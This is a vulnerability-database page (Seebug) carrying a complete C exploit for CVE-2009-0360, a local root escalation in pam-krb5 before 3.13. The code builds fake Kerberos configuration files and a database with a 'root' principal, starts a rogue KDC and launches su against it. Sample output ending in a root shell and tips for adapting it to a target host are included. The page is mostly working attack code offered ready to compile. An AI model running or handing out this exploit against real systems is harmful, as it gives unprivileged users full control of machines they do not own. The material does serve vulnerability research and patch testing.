Lucene search

K
seebugRootSSV:10903
HistoryMar 30, 2009 - 12:00 a.m.

pam-krb5 < 3.13 Local Privilege Escalation Exploit

2009-03-3000:00:00
Root
www.seebug.org
15

0.0004 Low

EPSS

Percentile

0.4%

No description provided by source.


                                                /*
 * cve-2009-0360.c
 *
 * pam-krb5 < 3.13 local privilege escalation
 * Jon Oberheide <[email protected]>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0360
 *
 *   pam-krb5 before 3.13, when linked against MIT Kerberos, does not properly 
 *   initialize the Kerberos libraries for setuid use, which allows local 
 *   users to gain privileges by pointing an environment variable to a 
 *   modified Kerberos configuration file, and then launching a PAM-based 
 *   setuid application. 
 *   
 * Usage:
 *
 *   $ gcc cve-2009-0360.c -o cve-2009-0360
 *   $ ./cve-2009-0360
 *   [+] creating krb5.conf
 *   [+] creating kdc.conf
 *   [+] creating kerberos database
 *   Loading random data
 *   Initializing database \'/tmp/cve-2009-0360/principal\' for realm \'TEST.COM\',
 *   master key name \'K/[email protected]\'
 *   [+] adding principal [email protected]
 *   Authenticating as principal [email protected] with password.
 *   Enter KDC database master key: 
 *   WARNING: no policy specified for [email protected]; defaulting to no policy
 *   Principal \"[email protected]\" created.
 *   [+] launching krb5kdc on 141.212.110.163:6666
 *   [+] launching su with fake KDC configuration
 *   [+] enter \"root\" at the password prompt
 *   Password: 
 *   # id
 *   uid=0(root) gid=0(root) ...
 *
 * Notes:
 *
 *   This exploit will result in local privilege escalation on hosts that use 
 *   the pam-krb5 module for su authentication.  Check the su and system-auth
 *   PAM configuration files in /etc/pam.d to determine if pam-krb5 is in use.
 *   Some customization of the defined constants and paths may be necessary 
 *   for your environment.  Be sure to set FAKE_KDC_HOST to the IP address of
 *   an active non-loopback interface on the target machine.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>

#define REALM \"TEST.COM\"
#define FAKE_KDC_HOST \"141.212.110.163\"
#define FAKE_KDC_PORT \"6666\"
#define PRINCIPAL_NAME \"root\"
#define PRINCIPAL_PASS \"root\"
#define TMP_DIR \"/tmp/cve-2009-0360\"
#define KUTIL_PATH \"/usr/sbin/kdb5_util\"
#define KADMIN_PATH \"/usr/sbin/kadmin.local\"
#define KRB5KDC_PATH \"/usr/sbin/krb5kdc\"

#define KRB5_CONF \\
  \"[libdefaults]\\n\\tdefault_realm = \" REALM \"\\n\\n[realms]\\n\\t\" REALM \\
  \" = {\\n\\t\\tadmin_server = \" FAKE_KDC_HOST \":\" FAKE_KDC_PORT \"\\n\\t\\t\" \\
  \"default_domain = \" REALM \"\\n\\t\\tkdc = \" FAKE_KDC_HOST \":\" FAKE_KDC_PORT \\
  \"\\n\\t}\\n\\n[domain_realm]\\n\\t.\" REALM \" = \" REALM \"\\n\\t\" REALM \" = \" REALM

#define KDC_CONF \\
  \"[kdcdefaults]\\n\\tkdc_ports = \" FAKE_KDC_PORT \"\\n\\n[realms]\\n\\t\" REALM \\
  \" = {\\n\\t\\tdatabase_name = \" TMP_DIR \"/principal\\n\\t\\tadmin_keytab = \" \\
  \"FILE:\" TMP_DIR \"/kadm5.keytab\\n\\t\\tacl_file = \" TMP_DIR \"/kadm5.acl\" \\
  \"\\n\\t\\tkey_stash_file = \" TMP_DIR \"/stash\\n\\t\\tkdc_ports = \" FAKE_KDC_PORT \\
  \"\\n\\t\\tmax_life = 10h 0m 0s\\n\\t\\tmax_renewable_life = 7d 0h 0m 0s\\n\\t}\"

int
main(void)
{
    int ret;
    FILE *fp;
    char *err;

    ret = mkdir(TMP_DIR, 0755);
    if (ret == -1 && errno != EEXIST) {
        err = \"cannot create TMP_DIR\";
        printf(\"[-] Error: %s (%s)\\n\", err, strerror(errno));
        return 1;
    }

    printf(\"[+] creating krb5.conf\\n\");
    sleep(1);

    fp = fopen(TMP_DIR \"/krb5.conf\", \"w\");
    if (!fp) {
        err = \"cannot open krb5.conf\";
        printf(\"[-] Error: %s (%s)\\n\", err, strerror(errno));
        return 1;
    }
    fwrite(KRB5_CONF, 1, strlen(KRB5_CONF), fp);
    fclose(fp);

    printf(\"[+] creating kdc.conf\\n\");
    sleep(1);

    fp = fopen(TMP_DIR \"/kdc.conf\", \"w\");
    if (!fp) {
        err = \"cannot open kdc.conf\";
        printf(\"[-] Error: %s (%s)\\n\", err, strerror(errno));
        return 1;
    }
    fwrite(KDC_CONF, 1, strlen(KDC_CONF), fp);
    fclose(fp);

    chdir(TMP_DIR);

    printf(\"[+] creating kerberos database\\n\");
    sleep(1);

    ret = system(KUTIL_PATH \" create -d \" TMP_DIR \"/principal -sf \" TMP_DIR \\
                 \"/stash -r \" REALM \" -s -P \\\"\\\"\");
    if (WEXITSTATUS(ret) != 0) {
        err = \"kdb5_util command returned non-zero\";
        printf(\"[-] Error: %s, continuing exploit anyway\\n\", err);
    }

    printf(\"[+] adding principal \" PRINCIPAL_NAME \"@\" REALM \"\\n\");
    sleep(1);

    ret = system(\"echo \\\"\\\" | \" KADMIN_PATH \" -m -p \" PRINCIPAL_NAME \"@\" REALM \\
                 \" -d \" TMP_DIR \"/principal -r \" REALM \" -q \\\"add_principal \" \\
                 \"-pw \" PRINCIPAL_PASS \" \" PRINCIPAL_NAME \"@\" REALM \"\\\"\");
    if (WEXITSTATUS(ret) != 0) {
        err = \"kadmin.local command returned non-zero\";
        printf(\"[-] Error: %s, continuing exploit anyway\\n\", err);
    }

    printf(\"[+] launching krb5kdc on \" FAKE_KDC_HOST \":\" FAKE_KDC_PORT \"\\n\");
    sleep(1);

    ret = system(\"KRB5_KDC_PROFILE=\\\"\" TMP_DIR \"/kdc.conf\\\" \" KRB5KDC_PATH \\
                 \" -d \" TMP_DIR \"/principal -r \" REALM);
    if (WEXITSTATUS(ret) != 0) {
        err = \"krb5kdc command returned non-zero\";
        printf(\"[-] Error: %s, continuing exploit anyway\\n\", err);
    }

    printf(\"[+] launching su with fake KDC configuration\\n\");
    sleep(1);
    printf(\"[+] enter \\\"\" PRINCIPAL_PASS \"\\\" at the password prompt\\n\");
    sleep(1);

    system(\"KRB5_CONFIG=\\\"\" TMP_DIR \"/krb5.conf\\\" su\");

    return 0;
}